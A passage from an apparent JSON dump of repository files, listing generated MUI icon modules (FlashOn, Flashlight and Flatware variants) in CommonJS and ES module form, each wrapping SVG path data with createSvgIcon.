    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 3v9c0 .55.45 1 1 1h2v7.15c0 .51.67.69.93.25l5.19-8.9c.39-.67-.09-1.5-.86-1.5H13l2.49-6.65c.25-.65-.23-1.35-.93-1.35H8c-.55 0-1 .45-1 1\"\n}), 'FlashOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOnRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 3v9c0 .55.45 1 1 1h2v7.15c0 .51.67.69.93.25l5.19-8.9c.39-.67-.09-1.5-.86-1.5H13l2.49-6.65c.25-.65-.23-1.35-.93-1.35H8c-.55 0-1 .45-1 1\"\n}), 'FlashOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOnSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 2v11h3v9l7-12h-4l3-8z\"\n}), 'FlashOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOnSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 2v11h3v9l7-12h-4l3-8z\"\n}), 'FlashOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOnTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10h-4l3-8H7v11h3v9z\"\n}), 'FlashOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOnTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10h-4l3-8H7v11h3v9z\"\n}), 'FlashOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 5V2H6v1.17L7.83 5zm-2 6 2-3V7H9.83L16 13.17zM2.81 2.81 1.39 4.22 8 10.83V22h8v-3.17l3.78 3.78 1.41-1.41z\"\n}), 'FlashlightOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 5V2H6v1.17L7.83 5zm-2 6 2-3V7H9.83L16 13.17zM2.81 2.81 1.39 4.22 8 10.83V22h8v-3.17l3.78 3.78 1.41-1.41z\"\n}), 'FlashlightOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22 8 10.83V22h8v-3.17l3.78 3.78 1.41-1.41zM14 20h-4v-7.17l4 4zm2-16v1H7.83l2 2H16v.39l-2 3.01v.77l2 2V11l2-3V2H6v1.17l.83.83z\"\n}), 'FlashlightOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22 8 10.83V22h8v-3.17l3.78 3.78 1.41-1.41zM14 20h-4v-7.17l4 4zm2-16v1H7.83l2 2H16v.39l-2 3.01v.77l2 2V11l2-3V2H6v1.17l.83.83z\"\n}), 'FlashlightOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 5V4c0-1.1-.9-2-2-2H8c-.86 0-1.58.54-1.87 1.3L7.83 5zm-2 6 2-3V7H9.83L16 13.17zM2.1 3.51c-.39.39-.39 1.02 0 1.41l5.9 5.9V20c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2v-1.17l3.07 3.07c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0\"\n}), 'FlashlightOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 5V4c0-1.1-.9-2-2-2H8c-.86 0-1.58.54-1.87 1.3L7.83 5zm-2 6 2-3V7H9.83L16 13.17zM2.1 3.51c-.39.39-.39 1.02 0 1.41l5.9 5.9V20c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2v-1.17l3.07 3.07c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0\"\n}), 'FlashlightOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 5V2H6v1.17L7.83 5zm-2 6 2-3V7H9.83L16 13.17zM2.81 2.81 1.39 4.22 8 10.83V22h8v-3.17l3.78 3.78 1.41-1.41z\"\n}), 'FlashlightOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 5V2H6v1.17L7.83 5zm-2 6 2-3V7H9.83L16 13.17zM2.81 2.81 1.39 4.22 8 10.83V22h8v-3.17l3.78 3.78 1.41-1.41z\"\n}), 'FlashlightOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7H9.83L14 11.17v-.77l2-3.01zm-6 5.83V20h4v-3.17zM16 5V4H6.83l1 1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22 8 10.83V22h8v-3.17l3.78 3.78 1.41-1.41zM14 20h-4v-7.17l4 4zm2-16v1H7.83l2 2H16v.39l-2 3.01v.77l2 2V11l2-3V2H6v1.17l.83.83z\"\n}, \"1\")], 'FlashlightOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7H9.83L14 11.17v-.77l2-3.01zm-6 5.83V20h4v-3.17zM16 5V4H6.83l1 1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22 8 10.83V22h8v-3.17l3.78 3.78 1.41-1.41zM14 20h-4v-7.17l4 4zm2-16v1H7.83l2 2H16v.39l-2 3.01v.77l2 2V11l2-3V2H6v1.17l.83.83z\"\n}, \"1\")], 'FlashlightOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 2h12v3H6zm0 5v1l2 3v11h8V11l2-3V7zm6 8.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'FlashlightOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 2h12v3H6zm0 5v1l2 3v11h8V11l2-3V7zm6 8.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'FlashlightOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOnOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6v6l2 3v11h8V11l2-3zm-2 2v1H8V4zm-2 6.4V20h-4v-9.61l-2-3V7h8v.39z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"14\",\n  r: \"1.5\"\n}, \"1\")], 'FlashlightOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOnOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6v6l2 3v11h8V11l2-3zm-2 2v1H8V4zm-2 6.4V20h-4v-9.61l-2-3V7h8v.39z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"14\",\n  r: \"1.5\"\n}, \"1\")], 'FlashlightOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOnRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 4v1h12V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2m0 3v1l2 3v9c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2v-9l2-3V7zm6 8.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'FlashlightOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOnRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 4v1h12V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2m0 3v1l2 3v9c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2v-9l2-3V7zm6 8.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'FlashlightOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOnSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 2h12v3H6zm0 5v1l2 3v11h8V11l2-3V7zm6 8.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'FlashlightOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOnSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 2h12v3H6zm0 5v1l2 3v11h8V11l2-3V7zm6 8.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'FlashlightOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOnTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8 7.39 2 3V20h4v-9.6l2-3.01V7H8zm4 5.11c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5M8 4h8v1H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 2v6l2 3v11h8V11l2-3V2zm10 5.39-2 3.01V20h-4v-9.61l-2-3V7h8zM16 5H8V4h8z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"14\",\n  r: \"1.5\"\n}, \"2\")], 'FlashlightOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashlightOnTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8 7.39 2 3V20h4v-9.6l2-3.01V7H8zm4 5.11c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5M8 4h8v1H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 2v6l2 3v11h8V11l2-3V2zm10 5.39-2 3.01V20h-4v-9.61l-2-3V7h8zM16 5H8V4h8z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"14\",\n  r: \"1.5\"\n}, \"2\")], 'FlashlightOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Flatware.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7.08c0 1.77-.84 3.25-2 3.82V21h-2V10.9c-1.16-.57-2-2.05-2-3.82C10.01 4.83 11.35 3 13 3c1.66 0 3 1.83 3 4.08M17 3v18h2v-8h2V7c0-1.76-1.24-4-4-4M8.28 3c-.4 0-.72.32-.72.72V7h-.84V3.72C6.72 3.32 6.4 3 6 3s-.72.32-.72.72V7h-.84V3.72c0-.4-.32-.72-.72-.72S3 3.32 3 3.72V9c0 1.1.9 2 2 2v10h2V11c1.1 0 2-.9 2-2V3.72c0-.4-.32-.72-.72-.72\"\n}), 'Flatware');"
  },
  {
    "path": "packages/mui-icons-material/lib/Flatware.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7.08c0 1.77-.84 3.25-2 3.82V21h-2V10.9c-1.16-.57-2-2.05-2-3.82C10.01 4.83 11.35 3 13 3c1.66 0 3 1.83 3 4.08M17 3v18h2v-8h2V7c0-1.76-1.24-4-4-4M8.28 3c-.4 0-.72.32-.72.72V7h-.84V3.72C6.72 3.32 6.4 3 6 3s-.72.32-.72.72V7h-.84V3.72c0-.4-.32-.72-.72-.72S3 3.32 3 3.72V9c0 1.1.9 2 2 2v10h2V11c1.1 0 2-.9 2-2V3.72c0-.4-.32-.72-.72-.72\"\n}), 'Flatware');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlatwareOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7.08c0 1.77-.84 3.25-2 3.82V21h-2V10.9c-1.16-.57-2-2.05-2-3.82C10.01 4.83 11.35 3 13 3c1.66 0 3 1.83 3 4.08M17 3v18h2v-8h2V7c0-1.76-1.24-4-4-4M8.28 3c-.4 0-.72.32-.72.72V7h-.84V3.72C6.72 3.32 6.4 3 6 3s-.72.32-.72.72V7h-.84V3.72c0-.4-.32-.72-.72-.72S3 3.32 3 3.72V9c0 1.1.9 2 2 2v10h2V11c1.1 0 2-.9 2-2V3.72c0-.4-.32-.72-.72-.72\"\n}), 'FlatwareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlatwareOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7.08c0 1.77-.84 3.25-2 3.82V21h-2V10.9c-1.16-.57-2-2.05-2-3.82C10.01 4.83 11.35 3 13 3c1.66 0 3 1.83 3 4.08M17 3v18h2v-8h2V7c0-1.76-1.24-4-4-4M8.28 3c-.4 0-.72.32-.72.72V7h-.84V3.72C6.72 3.32 6.4 3 6 3s-.72.32-.72.72V7h-.84V3.72c0-.4-.32-.72-.72-.72S3 3.32 3 3.72V9c0 1.1.9 2 2 2v10h2V11c1.1 0 2-.9 2-2V3.72c0-.4-.32-.72-.72-.72\"\n}), 'FlatwareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlatwareRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7.08c0 1.77-.84 3.25-2 3.82V20c0 .55-.45 1-1 1s-1-.45-1-1v-9.1c-1.16-.57-2-2.05-2-3.82C10.01 4.83 11.35 3 13 3c1.66 0 3 1.83 3 4.08m2.27-3.9c-.63-.19-1.27.31-1.27.97V20c0 .55.45 1 1 1s1-.45 1-1v-7h1c.55 0 1-.45 1-1V7c0-1.46-.86-3.26-2.73-3.82M8.28 3c-.4 0-.72.32-.72.72V7h-.84V3.72C6.72 3.32 6.4 3 6 3s-.72.32-.72.72V7h-.84V3.72c0-.4-.32-.72-.72-.72S3 3.32 3 3.72V9c0 1.1.9 2 2 2v9c0 .55.45 1 1 1s1-.45 1-1v-9c1.1 0 2-.9 2-2V3.72c0-.4-.32-.72-.72-.72\"\n}), 'FlatwareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlatwareRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7.08c0 1.77-.84 3.25-2 3.82V20c0 .55-.45 1-1 1s-1-.45-1-1v-9.1c-1.16-.57-2-2.05-2-3.82C10.01 4.83 11.35 3 13 3c1.66 0 3 1.83 3 4.08m2.27-3.9c-.63-.19-1.27.31-1.27.97V20c0 .55.45 1 1 1s1-.45 1-1v-7h1c.55 0 1-.45 1-1V7c0-1.46-.86-3.26-2.73-3.82M8.28 3c-.4 0-.72.32-.72.72V7h-.84V3.72C6.72 3.32 6.4 3 6 3s-.72.32-.72.72V7h-.84V3.72c0-.4-.32-.72-.72-.72S3 3.32 3 3.72V9c0 1.1.9 2 2 2v9c0 .55.45 1 1 1s1-.45 1-1v-9c1.1 0 2-.9 2-2V3.72c0-.4-.32-.72-.72-.72\"\n}), 'FlatwareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlatwareSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7.08c0 1.77-.84 3.25-2 3.82V21h-2V10.9c-1.16-.57-2-2.05-2-3.82C10.01 4.83 11.35 3 13 3c1.66 0 3 1.83 3 4.08M17 3v18h2v-8h2V7c0-1.76-1.24-4-4-4M8.28 3h-.72v4h-.84V3H5.28v4h-.84V3H3v8h2v10h2V11h2V3z\"\n}), 'FlatwareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlatwareSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7.08c0 1.77-.84 3.25-2 3.82V21h-2V10.9c-1.16-.57-2-2.05-2-3.82C10.01 4.83 11.35 3 13 3c1.66 0 3 1.83 3 4.08M17 3v18h2v-8h2V7c0-1.76-1.24-4-4-4M8.28 3h-.72v4h-.84V3H5.28v4h-.84V3H3v8h2v10h2V11h2V3z\"\n}), 'FlatwareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlatwareTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7.08c0 1.77-.84 3.25-2 3.82V21h-2V10.9c-1.16-.57-2-2.05-2-3.82C10.01 4.83 11.35 3 13 3c1.66 0 3 1.83 3 4.08M17 3v18h2v-8h2V7c0-1.76-1.24-4-4-4M8.28 3c-.4 0-.72.32-.72.72V7h-.84V3.72C6.72 3.32 6.4 3 6 3s-.72.32-.72.72V7h-.84V3.72c0-.4-.32-.72-.72-.72S3 3.32 3 3.72V9c0 1.1.9 2 2 2v10h2V11c1.1 0 2-.9 2-2V3.72c0-.4-.32-.72-.72-.72\"\n}), 'FlatwareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlatwareTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7.08c0 1.77-.84 3.25-2 3.82V21h-2V10.9c-1.16-.57-2-2.05-2-3.82C10.01 4.83 11.35 3 13 3c1.66 0 3 1.83 3 4.08M17 3v18h2v-8h2V7c0-1.76-1.24-4-4-4M8.28 3c-.4 0-.72.32-.72.72V7h-.84V3.72C6.72 3.32 6.4 3 6 3s-.72.32-.72.72V7h-.84V3.72c0-.4-.32-.72-.72-.72S3 3.32 3 3.72V9c0 1.1.9 2 2 2v10h2V11c1.1 0 2-.9 2-2V3.72c0-.4-.32-.72-.72-.72\"\n}), 'FlatwareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Flight.js",
